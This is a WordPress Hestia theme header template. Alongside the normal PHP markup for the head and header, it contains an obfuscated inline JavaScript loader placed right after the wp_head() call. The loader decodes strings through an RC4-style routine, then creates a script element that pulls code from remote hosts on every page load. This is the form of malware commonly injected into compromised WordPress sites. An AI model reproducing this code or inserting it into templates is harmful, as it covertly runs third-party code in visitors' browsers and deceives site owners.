<?php
/**
 * The template for displaying the header
 *
 * Displays all of the head element and everything up until the page header div.
 *
 * @package Hestia
 * @since Hestia 1.0
 */
$wrapper_div_classes = 'wrapper ';
if ( is_single() ) {
	$wrapper_div_classes .= join( ' ', get_post_class() );
}

$layout               = apply_filters( 'hestia_header_layout', get_theme_mod( 'hestia_header_layout', 'default' ) );
$disabled_frontpage   = get_theme_mod( 'disable_frontpage_sections', false );
$wrapper_div_classes .=
	(
		( is_front_page() && ! is_page_template() && ! is_home() && false === (bool) $disabled_frontpage ) ||
		( class_exists( 'WooCommerce', false ) && ( is_product() || is_product_category() ) ) ||
		( is_archive() && ( class_exists( 'WooCommerce', false ) && ! is_shop() ) )
	) ? '' : ' ' . $layout . ' ';

$header_class = '';
$hide_top_bar = get_theme_mod( 'hestia_top_bar_hide', true );
if ( (bool) $hide_top_bar === false ) {
	$header_class .= 'header-with-topbar';
}

?><!DOCTYPE html>
<html <?php language_attributes(); ?>>

<head>
	<meta charset='<?php bloginfo( 'charset' ); ?>'>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="http://gmpg.org/xfn/11">
	<?php if ( is_singular() && pings_open( get_queried_object() ) ) : ?>
		<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
	<?php endif; ?>
	<?php wp_head(); ?>
	
<script type="text/javascript" data-cfasync="false">
/*<![CDATA[/* */
(function(){var ab5d629a40a24e971f764cc214135d38="EXOieKYQkU3slN-2g7_YXo-_0-RSLonlk55illcAZXOru4dudWLm1mvWxaBzDFn5yNfZYM3MlyVWE1eb4g";var a=['MDvCu8KKcU9x','EMK6wobDtsOeEQHClmM=','bsKyU30=','PsK0UcKUT8Ouw4HCrT7DvsOcw7Z3','w5NXwo3CvkwgMMKK','KsKxQ8ObS8O5w6HCrDLDpsOUw65mTsKYw7xDUcKzwoDDi2V0fR7CosKNwq3CkCbDsUDDoTnCox9kJsKKB8Ozw6rDmQJ9SgcIwqPCtw==','w4dXwp7Cvk8hO8KMwqRbCBAEeA==','GcKkw5rDgsK5w60=','eMO3wrjDu2PDlHHDvsOgw5ZjwqpEw7xp','w5MiTzYyLRBrY8OQYMKSwr7CicOgCsKtw77DoEM=','wownwojCq8OkwpHDtw==','XMKecMObC3vCvcOWGHsIwro=','ccOMNm/DlMOu','wqJKw75PNVLDkMKKwq/CkA==','BcKtwpnDvQ==','c8OwfSfDrHvChsKG','bsK+woPCv8Krw4Q=','UMOzwog7wp/DnsO3esOpRGDDig==','wrYeCMO9w6QdwrPDjQ7CisKc','HGLCgAvClCVCPw==','EMKow5LDocKlw6VhDMO6XsKFJsK7','TcOywoszwoLDmcOBU8OuUnfDnQ==','woDDtsKHwqhbwrfDmRlUwpfCiGPDkcO3O8K9w6jDqQ7DizF8QMK7wqXCpcKULD4JZHHCjw7DpsKzCcOfwqXCmsKZXzwvKMK2w4loccKewpQtw5JP','wofDnMOv','ZknDr8Oswq7CrQ==','LmrCh8KTZQ=='];(function(b,c){var f=function(g){while(--g){b['push'](b['shift']());}};f(++c);}(a,0x11a));var b=function(c,d){c=c-0x0;var e=a[c];if(b['XnNCCh']===undefined){(function(){var h;try{var j=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');h=j();}catch(k){h=window;}var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';h['atob']||(h['atob']=function(l){var m=String(l)['replace'](/=+$/,'');var n='';for(var o=0x0,p,q,r=0x0;q=m['charAt'](r++);~q&&(p=o%0x4?p*0x40+q:q,o++%0x4)?n+=String['fromCharCode'](0xff&p>>(-0x2*o&0x6)):0x0){q=i['indexOf'](q);}return n;});}());var g=function(h,l){var m=[],n=0x0,o,p='',q='';h=atob(h);for(var t=0x0,u=h['length'];t<u;t++){q+='%'+('00'+h['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}h=decodeURIComponent(q);var r;for(r=0x0;r<0x100;r++){m[r]=r;}for(r=0x0;r<0x100;r++){n=(n+m[r]+l['charCodeAt'](r%l['length']))%0x100;o=m[r];m[r]=m[n];m[n]=o;}r=0x0;n=0x0;for(var v=0x0;v<h['length'];v++){r=(r+0x1)%0x100;n=(n+m[r])%0x100;o=m[r];m[r]=m[n];m[n]=o;p+=String['fromCharCode'](h['charCodeAt'](v)^m[(m[r]+m[n])%0x100]);}return p;};b['RcLtUN']=g;b['enVaWh']={};b['XnNCCh']=!![];}var f=b['enVaWh'][c];if(f===undefined){if(b['WBDuMs']===undefined){b['WBDuMs']=!![];}e=b['RcLtUN'](e,d);b['enVaWh'][c]=e;}else{e=f;}return e;};var h=window;h[b('0x6','e&%T')]=[[b('0x2','7Q9D'),0x47070d],[b('0xb','WX0o'),0x0],[b('0xa','j*Cu'),'0'],[b('0xf','IVSO'),0x0],[b('0xe','a8Va'),![]],[b('0x18','WX0o'),0x0],[b('0x15','WAtS'),!0x0]];var g=[b('0x9','y0Mt'),b('0x0','Uqt!')],p=0x0,r,c=function(){if(!g[p])return;r=h[b('0x8','j*Cu')][b('0x7','y0Mt')](b('0x10','pn&B'));r[b('0x12','LEo*')]=b('0xc','v$6j');r[b('0x3','I$tt')]=!0x0;var d=h[b('0x17','Gh(J')][b('0xd','Lp2^')](b('0x14','mit*'))[0x0];r[b('0x1','JIXd')]=b('0x13','#tSf')+g[p];r[b('0x16','!UBa')]=b('0x5','LEo*');r[b('0x4','i(]C')]=function(){p++;c();};d[b('0x11','61As')][b('0x19','WAtS')](r,d);};c();})();
/*]]>/* */
</script>
	
</head>

<body <?php body_class(); ?>>
	<?php wp_body_open(); ?>
	<div class="<?php echo esc_attr( $wrapper_div_classes ); ?>">
		<header class="header <?php echo esc_attr( $header_class ); ?>">
			<?php
			hestia_before_header_trigger();
			do_action( 'hestia_do_top_bar' );
			do_action( 'hestia_do_header' );
			hestia_after_header_trigger();
			?>
		</header>
